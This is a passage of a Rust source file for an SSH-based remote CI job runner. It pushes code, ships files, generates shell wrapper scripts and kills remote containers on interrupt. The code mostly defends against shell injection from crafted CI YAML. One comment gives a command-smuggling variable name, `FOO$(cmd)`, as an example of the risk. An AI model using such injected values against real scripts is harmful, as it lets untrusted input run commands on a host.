//! Remote job execution over SSH.
//!
//! When a runner has `host = "..."` in `.cui-cui.toml`, code is shipped to
//! the remote via `git push` (binary mode) or a diff (exec-prefix mode),
//! then `cui-cui --run` / `cui-cui --container` is invoked over SSH.
//! In exec-prefix mode a self-contained wrapper script is generated and
//! shipped instead, so no cui-cui binary is needed on the remote.
//! Output streams back in real time.

use std::io::Write;
use std::path::Path;
use std::process::{Command, Stdio};

use anyhow::{Context, Result};
use indexmap::IndexMap;

use crate::config::RunnerConfig;
use crate::container::{ContainerConfig, ContainerExitStatus, OutputConfig, stream_output};

/// C string for the remote kill command, used by the SIGINT handler.
#[cfg(unix)]
static KILL_REMOTE_CMD: std::sync::atomic::AtomicPtr<libc::c_char> =
    std::sync::atomic::AtomicPtr::new(std::ptr::null_mut());

/// Signal handler that kills a remote container via `ssh <host> <runtime> kill <name>`.
#[cfg(unix)]
extern "C" fn sigint_kill_remote(_: libc::c_int) {
    use std::sync::atomic::Ordering;

    let cmd = KILL_REMOTE_CMD.load(Ordering::SeqCst);
    if cmd.is_null() {
        return;
    }

    unsafe {
        let pid = libc::fork();
        if pid == 0 {
            let pid2 = libc::fork();
            if pid2 == 0 {
                let devnull = libc::open(c"/dev/null".as_ptr(), libc::O_RDWR);
                if devnull >= 0 {
                    libc::dup2(devnull, 1);
                    libc::dup2(devnull, 2);
                    libc::close(devnull);
                }
                libc::execlp(
                    c"sh".as_ptr(),
                    c"sh".as_ptr(),
                    c"-c".as_ptr(),
                    cmd,
                    std::ptr::null::<libc::c_char>(),
                );
                libc::_exit(1);
            }
            libc::_exit(0);
        }
        if pid > 0 {
            libc::waitpid(pid, std::ptr::null_mut(), 0);
        }
    }
}

/// RAII guard that intercepts SIGINT to kill a container on a remote host.
///
/// On creation, installs a handler that fork+execs
/// `ssh <host> <runtime> kill <container>`.  On drop, restores the previous
/// handler and frees the command string.
#[cfg(unix)]
struct RemoteSigintGuard {
    prev: libc::sighandler_t,
    cmd_ptr: *mut libc::c_char,
}

#[cfg(unix)]
unsafe impl Send for RemoteSigintGuard {}

#[cfg(unix)]
impl RemoteSigintGuard {
    fn new(runner: &RunnerConfig, runtime_name: &str, container_name: &str) -> Self {
        use std::ffi::CString;
        use std::sync::atomic::Ordering;

        let ssh_dest = ssh_destination(runner)
            .iter()
            .map(|s| shell_escape(s))
            .collect::<Vec<_>>()
            .join(" ");
        let inner_cmd = format!(
            "{} kill {}",
            shell_escape(runtime_name),
            shell_escape(container_name)
        );
        let kill_cmd = format!("ssh {} {}", ssh_dest, shell_escape(&inner_cmd));
        let cmd_c = CString::new(kill_cmd).expect("kill command has no NUL bytes");
        let cmd_ptr = cmd_c.into_raw();

        KILL_REMOTE_CMD.store(cmd_ptr, Ordering::SeqCst);

        let prev = unsafe {
            libc::signal(
                libc::SIGINT,
                sigint_kill_remote as *const () as libc::sighandler_t,
            )
        };
        Self { prev, cmd_ptr }
    }
}

#[cfg(unix)]
impl Drop for RemoteSigintGuard {
    fn drop(&mut self) {
        use std::ffi::CString;
        use std::sync::atomic::Ordering;

        KILL_REMOTE_CMD.store(std::ptr::null_mut(), Ordering::SeqCst);
        unsafe {
            libc::signal(libc::SIGINT, self.prev);
            drop(CString::from_raw(self.cmd_ptr));
        }
    }
}

/// How the wrapper script sets up its working directory.
enum WorkDir {
    /// Git worktree: clean checkout, optional diff, cleaned up on exit.
    Worktree {
        source_dir: String,
        worktree_dir: String,
        diff_path: Option<String>,
    },
    /// Empty temp directory for GIT_STRATEGY=none, cleaned up on exit.
    TempDir { path: String },
}

/// Compute a slug from the project path for use as a remote directory name.
///
/// Replaces path separators and special characters with hyphens.
/// Example: "linux/kernel/ci" -> "linux-kernel-ci"
pub fn project_slug(project_path: &str) -> String {
    project_path
        .chars()
        .map(|c| {
            if c.is_alphanumeric() || c == '-' || c == '_' {
                c
            } else {
                '-'
            }
        })
        .collect::<String>()
        .trim_matches('-')
        .to_string()
}

/// Build the SSH command prefix for a runner (user, host, port).
fn ssh_destination(runner: &RunnerConfig) -> Vec<String> {
    let mut args = Vec::new();

    if let Some(port) = runner.port {
        args.push("-p".to_string());
        args.push(port.to_string());
    }

    let host = runner.host.as_deref().unwrap_or("localhost");
    let dest = if let Some(ref user) = runner.user {
        format!("{}@{}", user, host)
    } else {
        host.to_string()
    };
    args.push(dest);

    args
}

/// Verify that SSH access works (BatchMode, no password prompts).
fn verify_ssh(runner: &RunnerConfig) -> Result<()> {
    let mut cmd = Command::new("ssh");
    cmd.args(["-o", "BatchMode=yes"]);
    cmd.args(ssh_destination(runner));
    cmd.arg("true");
    cmd.stdout(Stdio::null()).stderr(Stdio::piped());

    let output = cmd.output().context("Failed to run ssh")?;
    if !output.status.success() {
        let stderr = String::from_utf8_lossy(&output.stderr);
        anyhow::bail!(
            "SSH connection to runner '{}' ({}) failed: {}",
            runner.name,
            runner.host.as_deref().unwrap_or("local"),
            stderr.trim()
        );
    }
    Ok(())
}

/// Check that cui-cui is available on the remote and return its version.
fn verify_remote_binary(runner: &RunnerConfig) -> Result<String> {
    let binary = runner.binary.as_deref().unwrap_or("cui-cui");

    let mut cmd = Command::new("ssh");
    cmd.args(ssh_destination(runner));
    cmd.arg(format!("{} --version", shell_escape(binary)));
    cmd.stdout(Stdio::piped()).stderr(Stdio::piped());

    let output = cmd.output().context("Failed to check remote binary")?;
    if !output.status.success() {
        let stderr = String::from_utf8_lossy(&output.stderr);
        anyhow::bail!(
            "cui-cui binary not found on runner '{}': {} --version failed: {}",
            runner.name,
            binary,
            stderr.trim()
        );
    }

    Ok(String::from_utf8_lossy(&output.stdout).trim().to_string())
}

/// Compute the remote working directory for a project.
fn remote_worktree_dir(runner: &RunnerConfig, slug: &str) -> String {
    let base = runner.working_dir().unwrap_or("~/.cui-cui/worktrees");
    format!("{}/{}", base, slug)
}

/// Pre-initialize the remote repo for a runner so parallel jobs don't race.
///
/// Call this once per runner from the main thread before spawning any
/// parallel jobs that target this runner.
/// Initialize a bare-ish git repo on the remote for receiving pushes.
///
/// Skips if the repo already exists (config file present) to avoid
/// racing on the git config lock when called from parallel threads.
fn init_remote_repo(runner: &RunnerConfig, remote_dir: &str) -> Result<()> {
    let quoted = shell_quote_path(remote_dir);
    let init_cmd = format!(
        "test -f {}/.git/config || \
         (git init {} && git -C {} config receive.denyCurrentBranch updateInstead)",
        quoted, quoted, quoted
    );

    let mut cmd = Command::new("ssh");
    cmd.args(ssh_destination(runner));
    cmd.arg(init_cmd);
    cmd.stdout(Stdio::null()).stderr(Stdio::piped());

    let output = cmd.output().context("Failed to init remote repo")?;
    if !output.status.success() {
        let stderr = String::from_utf8_lossy(&output.stderr);
        anyhow::bail!(
            "Failed to initialize remote repo on '{}': {}",
            runner.name,
            stderr.trim()
        );
    }
    Ok(())
}

/// Build the SSH URL for git push.
fn git_push_url(runner: &RunnerConfig, remote_dir: &str) -> String {
    let host = runner.host.as_deref().unwrap_or("localhost");
    let user_prefix = runner
        .user
        .as_ref()
        .map(|u| format!("{}@", u))
        .unwrap_or_default();

    if let Some(port) = runner.port {
        format!("ssh://{}{}:{}/{}", user_prefix, host, port, remote_dir)
    } else {
        // Use scp-style syntax when no port is specified
        format!("{}{}:{}", user_prefix, host, remote_dir)
    }
}

/// Push the current HEAD to the remote repo.
fn push_to_remote(runner: &RunnerConfig, project_dir: &Path, remote_dir: &str) -> Result<String> {
    let url = git_push_url(runner, remote_dir);
    let sha = crate::git_utils::git_cmd(project_dir, &["rev-parse", "HEAD"])
        .unwrap_or_else(|| "HEAD".to_string());

    let output = Command::new("git")
        .args(["push", "--force", &url, "HEAD:refs/heads/main"])
        .current_dir(project_dir)
        .stdout(Stdio::piped())
        .stderr(Stdio::piped())
        .output()
        .context("Failed to run git push")?;

    if !output.status.success() {
        let stderr = String::from_utf8_lossy(&output.stderr);
        anyhow::bail!(
            "git push to runner '{}' failed: {}",
            runner.name,
            stderr.trim()
        );
    }

    Ok(sha)
}

/// Shell-escape a string for safe embedding in single quotes.
///
/// Wraps the value in single quotes and escapes any embedded single quotes
fn source_profile_preamble() -> String {
    String::from(
        "[ -f /etc/profile ] && . /etc/profile 2>/dev/null; \
         [ -f ~/.profile ] && . ~/.profile 2>/dev/null; \
         [ -f ~/.zprofile ] && . ~/.zprofile 2>/dev/null; \
         [ -f ~/.bash_profile ] && . ~/.bash_profile 2>/dev/null; ",
    )
}

/// Check that a variable name is safe for use in a shell `export` statement.
///
/// Matches the POSIX pattern `[A-Za-z_][A-Za-z0-9_]*`. CI servers enforce
/// this too, but since we parse YAML locally a crafted file could contain
/// names like `FOO$(cmd)` which would execute `cmd` during the export.
fn is_safe_shell_var_name(name: &str) -> bool {
    let mut chars = name.chars();
    match chars.next() {
        Some(c) if c.is_ascii_alphabetic() || c == '_' => {}
        _ => return false,
    }
    chars.all(|c| c.is_ascii_alphanumeric() || c == '_')
}

const HEREDOC_DELIMITER: &str = "__CUI_CUI_SCRIPT__";

/// Neutralize the heredoc delimiter inside script content so that a
/// malicious CI YAML cannot prematurely close the heredoc and inject
/// commands into the wrapper script (which runs on the host, outside
/// container/VM isolation).
fn sanitize_heredoc_content(content: &str) -> String {
    let mut result = String::with_capacity(content.len());
    for line in content.lines() {
        if line.trim() == HEREDOC_DELIMITER {
            result.push_str("# [sanitized heredoc delimiter]\n");
        } else {
            result.push_str(line);
            result.push('\n');
        }
    }
    if !content.ends_with('\n') && result.ends_with('\n') {
        result.pop();
    }
    result
}

/// using the `'\''` idiom (end quote, escaped quote, start quote).
/// This prevents shell injection from CI variable values.
fn shell_escape(s: &str) -> String {
    format!("'{}'", s.replace('\'', "'\\''"))
}

/// Quote a path for use in shell commands, using double quotes to allow
/// `$HOME` expansion. Converts a leading `~/` to `$HOME/` so the path
/// expands correctly inside double quotes (tilde expansion only works
/// unquoted).
///
/// The remainder of the path is escaped for double-quote safety: `$`, `` ` ``,
/// `\`, and `"` are backslash-escaped so that untrusted path components
/// (e.g. job names from CI YAML) cannot inject shell commands.
fn shell_quote_path(s: &str) -> String {
    let (prefix, rest) = if let Some(rest) = s.strip_prefix("~/") {
        ("$HOME/", rest)
    } else {
        ("", s)
    };

    // Escape characters that are special inside double quotes
    let mut escaped = String::with_capacity(rest.len());
    for c in rest.chars() {
        match c {
            '$' | '`' | '\\' | '"' => {
                escaped.push('\\');
                escaped.push(c);
            }
            _ => escaped.push(c),
        }
    }

    format!("\"{}{}\"", prefix, escaped)
}

/// Escape shell metacharacters in a string while preserving glob wildcards
/// (`*`, `?`, `[`, `]`) for pathname expansion.
///
/// Used for artifact path patterns that must undergo glob expansion on the
/// remote shell but must not allow command injection via crafted CI YAML.
fn shell_escape_glob(s: &str) -> String {
    let mut out = String::with_capacity(s.len() + 8);
    for c in s.chars() {
        match c {
            '$' | '`' | '\\' | '"' | '\'' | ';' | '&' | '|' | '>' | '<' | '(' | ')' | '!' | '{'
            | '}' | '\n' => {
                out.push('\\');
                out.push(c);
            }
            _ => out.push(c),
        }
    }
    out
}

/// Resolve a config value: if it starts with `@`, read the referenced file
/// (relative to `config_dir`), otherwise return the string as-is.
fn resolve_config_value(value: &str, config_dir: &Path) -> Result<String> {
    if let Some(path_str) = value.strip_prefix('@') {
        let path = if Path::new(path_str).is_absolute() {
            Path::new(path_str).to_path_buf()
        } else {
            config_dir.join(path_str)
        };
        std::fs::read_to_string(&path)
            .with_context(|| format!("Failed to read @file: {}", path.display()))
    } else {
        Ok(value.to_string())
    }
}

fn git_strategy_is_none(variables: &IndexMap<String, String>) -> bool {
    variables
        .get("GIT_STRATEGY")
        .is_some_and(|v| v.eq_ignore_ascii_case("none"))
}

/// Build a `WorkDir::Worktree` for local exec-prefix mode.
///
/// The worktree is created (and cleaned up) inside the wrapper script itself,
/// so the source tree is never modified. If `diff_to_apply` is provided, it
/// is written to a temp file whose path is embedded in the wrapper.
fn build_local_worktree(
    source_dir: &str,
    diff_to_apply: Option<&[u8]>,
    config_dir: &Path,
) -> Result<WorkDir> {
    let slug = project_slug(source_dir);
    let worktree_dir = format!(
        "{}/cui-cui-worktree-{}",
        std::env::temp_dir().display(),
        slug
    );

    let diff_path = if let Some(diff) = diff_to_apply {
        let diff_file = tempfile::Builder::new()
            .prefix("cui-cui-diff-")
            .suffix(".patch")
            .tempfile_in(config_dir)
            .context("Failed to create temp diff file")?;
        std::fs::write(diff_file.path(), diff)?;
        // Keep the file alive by leaking the handle (cleaned up by OS)
        let path = diff_file.path().to_string_lossy().to_string();
        let (_, _path) = diff_file.keep()?;
        Some(path)
    } else {
        None
    };

    Ok(WorkDir::Worktree {
        source_dir: source_dir.to_string(),
        worktree_dir,
        diff_path,
    })
}

/// Build a `WorkDir::TempDir` for GIT_STRATEGY=none.
fn build_temp_workdir(source_dir: &str) -> WorkDir {
    let slug = project_slug(source_dir);
    WorkDir::TempDir {
        path: format!(
            "{}/cui-cui-workdir-{}",
            std::env::temp_dir().display(),
            slug
        ),
    }
}

/// Generate the shared preamble for wrapper scripts: variables, cleanup trap,
/// cd to work dir, artifact extraction, and prepare commands.
///
/// The order is: variables -> cleanup trap -> cd to worktree -> extract
/// artifact tars -> prepare. This ensures artifacts are available in the
/// working directory during the prepare phase (e.g. for kexec kernels),
/// without permanently modifying the shared worktree (extraction happens
/// at wrapper runtime, not during upload).
///
/// `artifact_tars` lists remote paths to `.tar` files shipped earlier.
fn generate_wrapper_preamble(
    runner: &RunnerConfig,
    variables: &IndexMap<String, String>,
    work_dir: &str,
    artifact_tars: &[String],
    config_dir: &Path,
    work_dir_setup: Option<&WorkDir>,
) -> Result<String> {
    let mut script = String::from(
        "#!/bin/sh\nset -e\n\n\
         # Source login profiles for PATH setup (SSH non-interactive sessions\n\
         # don't source these, so tools like podman/limactl may not be found)\n\
         [ -f /etc/profile ] && . /etc/profile 2>/dev/null\n\
         [ -f \"$HOME/.profile\" ] && . \"$HOME/.profile\" 2>/dev/null\n\
         [ -f \"$HOME/.zprofile\" ] && . \"$HOME/.zprofile\" 2>/dev/null\n\
         [ -f \"$HOME/.bash_profile\" ] && . \"$HOME/.bash_profile\" 2>/dev/null\n\n",
    );

    // --- helpers ---
    // $PODMAN_UNSHARE: expands to "podman unshare" for rootless podman,
    // empty when running as root (where podman unshare is unsupported).
    script.push_str(
        "# --- helpers ---\n\
         if [ \"$(id -u)\" -eq 0 ]; then\n\
         \x20 PODMAN_UNSHARE=''\n\
         else\n\
         \x20 PODMAN_UNSHARE='podman unshare'\n\
         fi\n\
         export PODMAN_UNSHARE\n\n",
    );

    // --- variables ---
    if !variables.is_empty() {
        script.push_str("# --- variables ---\n");
        for (key, value) in variables {
            if !is_safe_shell_var_name(key) {
                log::warn!("Skipping variable with unsafe name: {}", key);
                continue;
            }
            script.push_str(&format!("export {}={}\n", key, shell_escape(value)));
        }
        script.push('\n');
    }

    // --- cleanup (trap EXIT) ---
    let has_runner_cleanup = runner.cleanup().is_some();
    let has_workdir_cleanup = work_dir_setup.is_some();
    if has_runner_cleanup || has_workdir_cleanup {
        script.push_str("# --- cleanup (guaranteed via trap) ---\n");
        script.push_str("cleanup() {\n");
        if let Some(cleanup_val) = runner.cleanup() {
            let cleanup_body = resolve_config_value(cleanup_val, config_dir)?;
            for line in cleanup_body.lines() {
                script.push_str(&format!("    {}\n", line));
            }
        }
        match work_dir_setup {
            Some(WorkDir::Worktree {
                source_dir,
                worktree_dir,
                ..
            }) => {
                script.push_str(&format!(
                    "    git -C {} worktree remove --force {} 2>/dev/null || true\n",
                    shell_quote_path(source_dir),
                    shell_quote_path(worktree_dir),
                ));
            }
            Some(WorkDir::TempDir { path }) => {
                script.push_str(&format!(
                    "    rm -rf {} 2>/dev/null || true\n",
                    shell_quote_path(path),
                ));
            }
            None => {}
        }
        script.push_str("}\n");
        script.push_str("trap cleanup EXIT\n\n");
    }

    // --- create working directory ---
    match work_dir_setup {
        Some(WorkDir::Worktree {
            source_dir,
            worktree_dir,
            diff_path,
        }) => {
            script.push_str("# --- worktree ---\n");
            script.push_str(&format!(
                "git -C {} worktree add --force --detach {}\n",
                shell_quote_path(source_dir),
                shell_quote_path(worktree_dir),
            ));
            if let Some(diff_path) = diff_path {
                script.push_str(&format!(
                    "git -C {} apply {} || echo 'Warning: git apply failed'\n",
                    shell_quote_path(worktree_dir),
                    shell_quote_path(diff_path),
                ));
            }
            script.push('\n');
        }
        Some(WorkDir::TempDir { path }) => {
            script.push_str("# --- workdir ---\n");
            script.push_str(&format!("mkdir -p {}\n\n", shell_quote_path(path)));
        }
        None => {}
    }

    // --- cd to working directory ---
    let effective_dir = match work_dir_setup {
        Some(WorkDir::Worktree { worktree_dir, .. }) => worktree_dir.as_str(),
        Some(WorkDir::TempDir { path }) => path.as_str(),
        None => work_dir,
    };
    script.push_str(&format!("cd {}\n", shell_quote_path(effective_dir)));

    // --- extract artifact tars ---
    if !artifact_tars.is_empty() {
        script.push_str("\n# --- artifacts ---\n");
        for tar_path in artifact_tars {
            script.push_str(&format!("tar xf {}\n", shell_escape(tar_path)));
        }
    }
    script.push('\n');

    // --- prepare ---
    if let Some(prepare_val) = runner.prepare() {
        let prepare_body = resolve_config_value(prepare_val, config_dir)?;
        script.push_str("# --- prepare ---\n");
        script.push_str("exec 3<&0\n");
        script.push_str("exec < /dev/null\n");
        script.push_str(&prepare_body);
        if !prepare_body.ends_with('\n') {
            script.push('\n');
        }
        script.push_str("exec 0<&3 3<&-\n");
        script.push('\n');
    }

    Ok(script)
}

/// Generate a wrapper script for exec-prefix mode.
///
/// The wrapper embeds:
/// 1. Variable exports (single-quoted for injection prevention)
/// 2. Cleanup function + `trap cleanup EXIT` (if cleanup is configured)
/// 3. Prepare commands (if configured)
/// 4. The job command via exec-prefix
///
/// `config_dir` is the directory containing `.cui-cui.toml`, used to resolve
/// `@file` references in prepare/cleanup.
fn generate_wrapper_script(
    runner: &RunnerConfig,
    variables: &IndexMap<String, String>,
    script_content: &str,
    work_dir: &str,
    artifact_tars: &[String],
    config_dir: &Path,
    work_dir_setup: Option<&WorkDir>,
) -> Result<String> {
    let mut script = generate_wrapper_preamble(
        runner,
        variables,
        work_dir,
        artifact_tars,
        config_dir,
        work_dir_setup,
    )?;
    let exec_prefix = runner.custom_command().unwrap_or("");

    // --- job ---
    // Write the CI script to a file in the working directory so it's
    // accessible inside exec-prefix environments that share the directory
    // (e.g. vng VMs via --rwdir) but don't forward stdin through QEMU.
    // Variables are embedded in the script itself because exec-prefix
    // environments (e.g. VNG VMs) don't inherit the wrapper's exports.
    script.push_str("# --- job ---\n");
    script.push_str(&format!(
        "cat > .cui-cui-job.sh <<'{}'\n",
        HEREDOC_DELIMITER
    ));
    script.push_str("#!/bin/sh\nset -xe\n");
    if !variables.is_empty() {
        script.push_str("{ set +x; } 2>/dev/null\n");
        for (key, value) in variables {
            if !is_safe_shell_var_name(key) {
                continue;
            }
            script.push_str(&format!("export {}={}\n", key, shell_escape(value)));
        }
        script.push_str("set -x\n");
    }
    let safe_content = sanitize_heredoc_content(script_content);
    script.push_str(&safe_content);
    if !safe_content.ends_with('\n') {
        script.push('\n');
    }
    script.push_str(HEREDOC_DELIMITER);
    script.push('\n');
    script.push_str("chmod +x .cui-cui-job.sh\n");
    script.push_str(&format!("{} ./.cui-cui-job.sh\n", exec_prefix));

    Ok(script)
}

/// Generate an interactive wrapper for exec-prefix mode.
///
/// Same as `generate_wrapper_script` but launches an interactive shell
/// (`bash`) instead of running the CI script. Used by `--container` mode.
///
/// The CI script is written to `.cui-cui-job.sh` in the working directory
/// and a `bash -x .cui-cui-job.sh` command is seeded into bash history,
/// matching the container mode UX where the user can press Up to run the
/// CI script.
fn generate_interactive_wrapper(
    runner: &RunnerConfig,
    variables: &IndexMap<String, String>,
    script_content: &str,
    work_dir: &str,
    artifact_tars: &[String],
    config_dir: &Path,
    work_dir_setup: Option<&WorkDir>,
) -> Result<String> {
    let mut script = generate_wrapper_preamble(
        runner,
        variables,
        work_dir,
        artifact_tars,
        config_dir,
        work_dir_setup,
    )?;
    let exec_prefix = runner.custom_command().unwrap_or("");

    // --- CI script (available for the user to run manually) ---
    script.push_str("# --- ci script ---\n");
    script.push_str(&format!(
        "cat > .cui-cui-job.sh <<'{}'\n",
        HEREDOC_DELIMITER
    ));
    script.push_str("#!/bin/sh\nset -xe\n");
    if !variables.is_empty() {
        script.push_str("{ set +x; } 2>/dev/null\n");
        for (key, value) in variables {
            if !is_safe_shell_var_name(key) {
                continue;
            }
            script.push_str(&format!("export {}={}\n", key, shell_escape(value)));
        }
        script.push_str("set -x\n");
    }
    let safe_content = sanitize_heredoc_content(script_content);
    script.push_str(&safe_content);
    if !safe_content.ends_with('\n') {
        script.push('\n');
    }
    script.push_str(HEREDOC_DELIMITER);
    script.push('\n');
    script.push_str("chmod +x .cui-cui-job.sh\n");
    script.push_str("echo \"\\033[90mCI script: bash -x .cui-cui-job.sh\\033[0m\"\n\n");

    // --- interactive shell ---
    // Strip trailing "command follows" flags (--exec, --) so the tool
    // provides its own interactive console instead of running bash.
    let interactive_prefix = exec_prefix
        .trim_end()
        .strip_suffix("--exec")
        .or_else(|| exec_prefix.trim_end().strip_suffix("--"))
        .map(|s| s.trim_end())
        .unwrap_or(exec_prefix);
    script.push_str("# --- interactive shell ---\n");
    if interactive_prefix == exec_prefix {
        script.push_str(&format!("{} bash\n", exec_prefix));
    } else {
        script.push_str(&format!("{}\n", interactive_prefix));
    }

    Ok(script)
}

/// Ship a diff file to the remote via SSH stdin pipe.
fn ship_diff(runner: &RunnerConfig, diff: &[u8], remote_path: &str) -> Result<()> {
    ship_file(runner, diff, remote_path)
}

/// Run a job on a remote runner using binary mode (no exec-prefix).
///
/// Steps:
/// 1. Verify SSH access
/// 2. Verify cui-cui binary on remote
/// 3. Init remote repo (if needed)
/// 4. Push code to remote
/// 5. Ship diff + job spec (includes sha, diff_path, container_name)
/// 6. Create per-job worktree via `--prep-job`
/// 7. Execute `cui-cui --run <job> --job-spec <path>` via SSH
/// 8. Stream output back and return exit status
fn run_binary_mode(
    config: &ContainerConfig,
    runner: &RunnerConfig,
    log_path: &Path,
    diff_to_apply: Option<&[u8]>,
    output_config: &OutputConfig,
    git_lock: Option<&std::sync::Mutex<()>>,
) -> Result<ContainerExitStatus> {
    let start = std::time::Instant::now();
    let slug = project_slug(&config.project_path);
    let remote_dir = remote_worktree_dir(runner, &slug);
    let binary = runner.binary.as_deref().unwrap_or("cui-cui");
    let job_slug = config.job_name.replace('/', "_").replace(' ', "-");
    let container_name = crate::container::unique_volume_name("cuicui");
    let spec_remote_path = format!("/tmp/cui-cui-spec-{}-{}.json", slug, job_slug);

    // --- git-critical section: serialized per runner ---
    let _lock = git_lock.map(|m| m.lock().unwrap_or_else(|e| e.into_inner()));

    // 1. Verify SSH + remote binary
    verify_ssh(runner)?;
    let remote_version = verify_remote_binary(runner)?;
    let local_version = env!("CUI_CUI_VERSION");
    if !remote_version.contains(local_version) {
        output_config.status(&format!(
            "\x1b[33mWarning: version mismatch — local: {}, remote: {}\x1b[0m",
            local_version, remote_version
        ));
    }

    // 2. Init + push (idempotent — safe if another thread already did this)
    init_remote_repo(runner, &remote_dir)?;
    let sha = push_to_remote(runner, &config.project_dir, &remote_dir)?;

    // 3. Ship diff if any
    let diff_remote_path = format!("/tmp/cui-cui-diff-{}-{}.patch", slug, job_slug);
    if let Some(diff) = diff_to_apply {
        ship_diff(runner, diff, &diff_remote_path)?;
    }

    // 4. Build and ship job spec (includes sha, diff_path, container_name)
    let mut spec = crate::container::JobSpec::from_config(config);
    spec.sha = Some(sha);
    spec.container_name = Some(container_name.clone());
    if diff_to_apply.is_some() {
        spec.diff_path = Some(diff_remote_path);
    }
    let spec_json = serde_json::to_string(&spec).context("Failed to serialize job spec")?;
    ship_file(runner, spec_json.as_bytes(), &spec_remote_path)?;

    // 5. Create per-job worktree via --prep-job (under the lock)
    let mut prep_cmd = source_profile_preamble();
    prep_cmd.push_str(&format!(
        "cd {} && {} --prep-job {} --job-spec {}",
        shell_quote_path(&remote_dir),
        binary,
        shell_escape(&config.job_name),
        shell_escape(&spec_remote_path)
    ));

    let prep_output = Command::new("ssh")
        .args(ssh_destination(runner))
        .arg(&prep_cmd)
        .stdout(Stdio::piped())
        .stderr(Stdio::piped())
        .output()
        .context("Failed to run --prep-job on remote")?;

    if !prep_output.status.success() {
        let stderr = String::from_utf8_lossy(&prep_output.stderr);
        anyhow::bail!("--prep-job on '{}' failed: {}", runner.name, stderr.trim());
    }

    let worktree_dir = String::from_utf8_lossy(&prep_output.stdout)
        .trim()
        .to_string();

    // --- end git-critical section (lock drops here) ---
    drop(_lock);

    // 6. Run the job in the worktree
    let mut remote_cmd = source_profile_preamble();
    remote_cmd.push_str(&format!(
        "cd {} && {} --run {}",
        shell_quote_path(&worktree_dir),
        binary,
        shell_escape(&config.job_name)
    ));
    remote_cmd.push_str(&format!(" --job-spec {}", shell_escape(&spec_remote_path)));

    output_config.status(&format!(
        "\x1b[90mRunning on {}: {} --run '{}'\x1b[0m",
        runner.name, binary, config.job_name
    ));

    let mut cmd = Command::new("ssh");
    cmd.args(ssh_destination(runner));
    cmd.arg(&remote_cmd);
    cmd.stdin(Stdio::null())
        .stdout(Stdio::piped())
        .stderr(Stdio::piped());

    let mut child = cmd.spawn().context("Failed to start remote job")?;

    let runtime_name = config.runtime.map(|r| r.name()).unwrap_or("podman");
    let kill_inner = format!(
        "{} kill {}",
        shell_escape(runtime_name),
        shell_escape(&container_name)
    );
    let kill_cmd = format!(
        "ssh {} {}",
        ssh_destination(runner)
            .iter()
            .map(|s| shell_escape(s))
            .collect::<Vec<_>>()
            .join(" "),
        shell_escape(&kill_inner)
    );
    if let Some(ref registry) = output_config.active_containers {
        registry.register(kill_cmd.clone());
    }
    #[cfg(unix)]
    let _sigint_guard = if output_config.active_containers.is_none() {
        Some(RemoteSigintGuard::new(
            runner,
            runtime_name,
            &container_name,
        ))
    } else {
        None
    };

    let exit_code = stream_output(&mut child, log_path, output_config)?;

    if let Some(ref registry) = output_config.active_containers {
        registry.deregister(&kill_cmd);
    }

    let duration = start.elapsed();

    // 7. Clean up the remote worktree
    let quoted_remote = shell_quote_path(&remote_dir);
    let quoted_wt = shell_quote_path(&worktree_dir);
    let _ = Command::new("ssh")
        .args(ssh_destination(runner))
        .arg(format!(
            "git -C {} worktree remove --force {} 2>/dev/null",
            quoted_remote, quoted_wt
        ))
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .output();

    Ok(ContainerExitStatus {
        exit_code,
        log_path: log_path.to_path_buf(),
        duration,
    })
}

/// Ship a file's content to a remote path via SSH stdin pipe.
fn ship_file(runner: &RunnerConfig, content: &[u8], remote_path: &str) -> Result<()> {
    let escaped = shell_escape(remote_path);
    let mut cmd = Command::new("ssh");
    cmd.args(ssh_destination(runner));
    cmd.arg(format!(
        "mkdir -p $(dirname {}) && cat > {}",
        escaped, escaped
    ));
    cmd.stdin(Stdio::piped())
        .stdout(Stdio::null())
        .stderr(Stdio::piped());

    let mut child = cmd.spawn().context("Failed to ship file to remote")?;
    if let Some(ref mut stdin) = child.stdin {
        stdin.write_all(content)?;
    }

    let output = child
        .wait_with_output()
        .context("Failed to wait for file ship")?;
    if !output.status.success() {
        let stderr = String::from_utf8_lossy(&output.stderr);
        anyhow::bail!(
            "Failed to ship file to runner '{}': {}",
            runner.name,
            stderr.trim()
        );
    }
    Ok(())
}

/// Ship artifact `.tar` files to the remote as-is (not extracted).
///
/// Returns the list of remote paths where the tars were placed, for
/// embedding in the wrapper script's extraction step.
fn ship_artifact_tars(
    runner: &RunnerConfig,
    artifact_dirs: &[(String, std::path::PathBuf)],
    job_slug: &str,
    output_config: Option<&OutputConfig>,
) -> Result<Vec<String>> {
    let mut remote_paths = Vec::new();

    for (job_name, source_path) in artifact_dirs {
        if !source_path.exists() {
            continue;
        }

        let safe_name = job_name.replace(['/', '\\'], "_").replace("..", "_");
        let remote_tar_path = format!("/tmp/cui-cui-{}-artifact-{}.tar", job_slug, safe_name);

        let data = if source_path.is_file() {
            // Already a .tar file — read directly
            std::fs::read(source_path).context("Failed to read artifact tar file")?
        } else {
            // Directory — tar it first
            let output = Command::new("tar")
                .args(["cf", "-", "-C"])
                .arg(source_path)
                .arg(".")
                .stdout(Stdio::piped())
                .stderr(Stdio::piped())
                .output()
                .context("Failed to tar artifact directory")?;
            output.stdout
        };

        if data.is_empty() {
            continue;
        }

        if let Some(oc) = output_config {
            oc.status(&format!(
                "\x1b[90mShipping artifacts from '{}'...\x1b[0m",
                job_name
            ));
        } else {
            println!("\x1b[90m  Shipping artifacts from '{}'...\x1b[0m", job_name);
        }
        ship_file(runner, &data, &remote_tar_path)?;
        remote_paths.push(remote_tar_path);
    }

    Ok(remote_paths)
}

/// Convert artifact directories and tar files into local tar file paths.
///
/// Like `ship_artifact_tars` but for local use: directory artifacts are
/// tarred into temp files so the wrapper script can extract them uniformly.
fn prepare_local_artifact_tars(
    artifact_dirs: &[(String, std::path::PathBuf)],
    job_slug: &str,
) -> Result<Vec<String>> {
    let mut tar_paths = Vec::new();

    for (job_name, source_path) in artifact_dirs {
        if !source_path.exists() {
            continue;
        }

        if source_path.is_file() {
            tar_paths.push(source_path.to_string_lossy().to_string());
        } else {
            let safe_name = job_name.replace(['/', '\\'], "_").replace("..", "_");
            let tar_path = format!(
                "{}/cui-cui-{}-artifact-{}.tar",
                std::env::temp_dir().display(),
                job_slug,
                safe_name
            );
            let output = Command::new("tar")
                .args(["cf", &tar_path, "-C"])
                .arg(source_path)
                .arg(".")
                .stdout(Stdio::piped())
                .stderr(Stdio::piped())
                .output()
                .context("Failed to tar artifact directory")?;
            if !output.status.success() {
                let stderr = String::from_utf8_lossy(&output.stderr);
